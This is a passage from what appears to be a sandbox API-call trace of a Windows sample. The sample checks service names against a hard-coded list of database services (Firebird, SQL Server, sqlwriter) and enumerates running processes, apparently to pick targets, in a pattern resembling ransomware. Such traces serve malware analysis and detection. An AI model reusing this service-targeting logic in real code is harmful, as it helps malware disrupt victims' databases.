[0069.330] lstrlenW (lpString="SamSs") returned 5 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0069.330] lstrlenW (lpString="Schedule") returned 8 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0069.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0069.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0069.331] lstrlenW (lpString="SecurityHealthService") returned 21 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0069.331] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0069.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0069.331] lstrlenW (lpString="SENS") returned 4 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0069.331] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0069.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0069.331] lstrlenW (lpString="ShellHWDetection") returned 16 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.331] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0069.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0069.331] lstrlenW (lpString="Spooler") returned 7 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0069.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0069.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0069.332] lstrlenW (lpString="SSDPSRV") returned 7 [0069.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0069.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0069.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0069.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0069.332] lstrlenW (lpString="StateRepository") returned 15 [0069.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0069.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0069.332] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0069.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0069.332] lstrlenW (lpString="SysMain") returned 7 [0069.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0069.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0069.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0069.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3ce4288 | out: hHeap=0x6a0000) returned 1 [0069.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0069.684] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.685] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.686] lstrlenW (lpString="System") returned 6 [0069.686] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.687] lstrlenW (lpString="smss.exe") returned 8 [0069.687] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.688] lstrlenW (lpString="csrss.exe") returned 9 [0069.688] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.689] lstrlenW (lpString="wininit.exe") returned 11 [0069.689] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.689] lstrlenW (lpString="csrss.exe") returned 9 [0069.689] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.690] lstrlenW (lpString="winlogon.exe") returned 12 [0069.690] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.691] lstrlenW (lpString="services.exe") returned 12 [0069.691] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.692] lstrlenW (lpString="lsass.exe") returned 9 [0069.692] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.693] lstrlenW (lpString="svchost.exe") returned 11 [0069.693] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0069.693] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0069.693] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0069.694] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0069.694] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.695] lstrlenW (lpString="svchost.exe") returned 11 [0069.695] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.696] lstrlenW (lpString="dwm.exe") returned 7 [0069.696] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.697] lstrlenW (lpString="svchost.exe") returned 11 [0069.697] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.698] lstrlenW (lpString="svchost.exe") returned 11 [0069.698] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.699] lstrlenW (lpString="svchost.exe") returned 11 [0069.699] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.700] lstrlenW (lpString="svchost.exe") returned 11 [0069.700] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.701] lstrlenW (lpString="svchost.exe") returned 11 [0069.701] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.702] lstrlenW (lpString="svchost.exe") returned 11 [0069.702] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.702] lstrlenW (lpString="svchost.exe") returned 11 [0069.703] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.703] lstrlenW (lpString="svchost.exe") returned 11 [0069.704] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.704] lstrlenW (lpString="svchost.exe") returned 11 [0069.704] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.705] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.705] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.706] lstrlenW (lpString="svchost.exe") returned 11 [0069.706] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.707] lstrlenW (lpString="svchost.exe") returned 11 [0069.707] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.707] lstrlenW (lpString="audiodg.exe") returned 11 [0069.707] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0069.708] lstrlenW (lpString="sihost.exe") returned 10 [0069.708] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.709] lstrlenW (lpString="svchost.exe") returned 11 [0069.709] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0069.710] lstrlenW (lpString="taskhostw.exe") returned 13 [0069.710] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0069.711] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0069.711] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0069.712] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0069.712] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.713] lstrlenW (lpString="explorer.exe") returned 12 [0069.713] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0069.713] lstrlenW (lpString="Memory Compression") returned 18 [0069.713] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0069.714] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0069.714] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0071.268] lstrlenW (lpString="SearchUI.exe") returned 12 [0071.268] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0071.269] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0071.269] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0071.270] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0071.270] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0071.271] lstrlenW (lpString="taskhostw.exe") returned 13 [0071.272] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0071.272] lstrlenW (lpString="UsoClient.exe") returned 13 [0071.273] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0071.274] lstrlenW (lpString="taskhostw.exe") returned 13 [0071.274] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0071.275] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0071.275] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0071.276] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0071.276] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0071.277] lstrlenW (lpString="msoia.exe") returned 9 [0071.277] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0071.369] lstrlenW (lpString="msoia.exe") returned 9 [0071.370] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0071.371] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0071.371] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0071.372] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0071.372] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0071.373] lstrlenW (lpString="xml-upper.exe") returned 13 [0071.373] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0071.374] lstrlenW (lpString="defeat preston.exe") returned 18 [0071.374] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0071.375] lstrlenW (lpString="surveillance.exe") returned 16 [0071.376] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0071.377] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0071.377] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0071.378] lstrlenW (lpString="deemed.exe") returned 10 [0071.378] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0071.379] lstrlenW (lpString="scored-prices.exe") returned 17 [0071.379] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0071.380] lstrlenW (lpString="understood.exe") returned 14 [0071.380] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0071.381] lstrlenW (lpString="lee.exe") returned 7 [0071.381] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0071.382] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0071.382] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0071.383] lstrlenW (lpString="romandisclosure.exe") returned 19 [0071.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0071.384] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0071.384] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, 